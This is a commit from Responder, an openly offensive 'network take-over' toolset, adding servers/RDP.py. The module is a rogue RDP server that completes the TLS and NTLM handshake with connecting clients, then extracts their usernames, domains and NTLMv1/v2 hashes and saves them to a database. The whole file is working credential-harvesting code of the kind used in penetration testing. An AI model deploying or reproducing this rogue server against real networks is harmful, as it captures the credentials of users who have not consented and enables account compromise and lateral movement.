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Added RDP rogue server
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lgandx
parent
88e316c9a3
commit
c52843a535
9 changed files with 328 additions and 42 deletions
134
servers/RDP.py
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134
servers/RDP.py
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#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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from SocketServer import BaseRequestHandler
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from utils import *
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from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
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import struct
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import re
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import ssl
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cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
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key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
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def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
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SSPIStart = data.find('NTLMSSP')
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SSPIString = data[SSPIStart:]
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LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
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LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
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LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
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NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
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if NthashLen == 24:
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NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
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DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
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Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
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UserLen = struct.unpack('<H',SSPIString[38:40])[0]
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UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
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Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
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SaveToDb({
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'module': 'RDP',
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'type': 'NTLMv1-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NTLMHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 60:
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NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
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DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
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Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
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UserLen = struct.unpack('<H',SSPIString[38:40])[0]
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UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
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Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
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SaveToDb({
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'module': 'RDP',
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'type': 'NTLMv2-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NTLMHash,
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'fullhash': WriteHash,
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})
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def FindNTLMNegoStep(data):
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NTLMStart = data.find('NTLMSSP')
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NTLMString = data[NTLMStart:]
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NTLMStep = NTLMString[8:12]
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if NTLMStep == "\x01\x00\x00\x00":
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return NTLMStep
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if NTLMStep == "\x03\x00\x00\x00":
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return NTLMStep
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else:
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return False
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class RDP(BaseRequestHandler):
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def handle(self):
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try:
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data = self.request.recv(1024)
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self.request.settimeout(30)
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Challenge = RandomChallenge()
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if data[11:12] == "\x01":
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x = X224(Data=RDPNEGOAnswer())
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x.calculate()
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h = TPKT(Data=x)
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h.calculate()
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buffer1 = str(h)
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self.request.send(buffer1)
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SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
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SSLsock.settimeout(30)
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data = SSLsock.read(8092)
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if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
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x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
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x.calculate()
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SSLsock.write(str(x))
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data = SSLsock.read(8092)
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if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
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ParseNTLMHash(data,self.client_address[0], Challenge)
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##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
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if data[len(data)-4:] == "\x03\x00\x00\x00":
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x = X224(Data=RDPNEGOAnswer())
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x.calculate()
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h = TPKT(Data=x)
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h.calculate()
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buffer1 = str(h)
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self.request.send(buffer1)
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data = self.request.recv(8092)
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SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
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data = SSLsock.read(8092)
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if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
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x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
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x.calculate()
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SSLsock.write(str(x))
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data = SSLsock.read(8092)
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if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
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ParseNTLMHash(data,self.client_address[0], Challenge)
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else:
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return False
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except:
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pass
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